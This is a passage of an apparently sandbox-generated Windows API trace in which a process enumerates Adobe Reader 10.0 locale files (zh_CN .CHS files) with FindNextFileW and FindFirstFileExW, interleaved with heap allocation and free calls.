lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.CHS", cAlternateFileName="")) returned 1 [0082.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12145e0 [0082.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129dc18 [0082.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.798] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.CHS", cAlternateFileName="")) returned 1 [0082.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214600 [0082.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129e038 [0082.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.800] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.CHS", cAlternateFileName="")) returned 1 [0082.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214620 [0082.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129e140 [0082.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.801] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.CHS", cAlternateFileName="")) returned 1 [0082.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214640 [0082.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129e248 [0082.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.803] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.CHS", cAlternateFileName="")) returned 1 [0082.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214660 [0082.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129e350 [0082.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.804] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.CHS", cAlternateFileName="")) returned 1 [0082.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214680 [0082.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129e458 [0082.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.806] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.CHS", cAlternateFileName="")) returned 1 [0082.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12146a0 [0082.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129e560 [0082.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.807] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.CHS", cAlternateFileName="")) returned 1 [0082.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12146c0 [0082.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129e668 [0082.809] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.809] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.CHS", cAlternateFileName="")) returned 1 [0082.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.809] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12146e0 [0082.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129e770 [0082.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.811] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.CHS", cAlternateFileName="")) returned 1 [0082.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214700 [0082.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129e878 [0082.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.812] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.CHS", cAlternateFileName="")) returned 1 [0082.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214720 [0082.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129e980 [0082.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.814] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.CHS", cAlternateFileName="")) returned 1 [0082.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214740 [0082.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129ea88 [0082.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.815] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.CHS", cAlternateFileName="")) returned 1 [0082.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214760 [0082.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129eb90 [0082.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.817] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe0600, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.CHS", cAlternateFileName="")) returned 1 [0082.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214780 [0082.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129ec98 [0082.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.818] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.CHS", cAlternateFileName="")) returned 1 [0082.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.820] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.CHS", cAlternateFileName="")) returned 1 [0082.820] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.CHS", cAlternateFileName="")) returned 1 [0082.820] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.CHS", cAlternateFileName="")) returned 1 [0082.820] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.CHS", cAlternateFileName="")) returned 1 [0082.820] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.820] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CHS", cAlternateFileName="")) returned 1 [0082.820] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.CHS", cAlternateFileName="")) returned 1 [0082.820] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.CHS", cAlternateFileName="")) returned 1 [0082.820] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.CHS", cAlternateFileName="")) returned 0 [0082.820] GetLastError () returned 0x12 [0082.820] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0082.820] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.820] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, 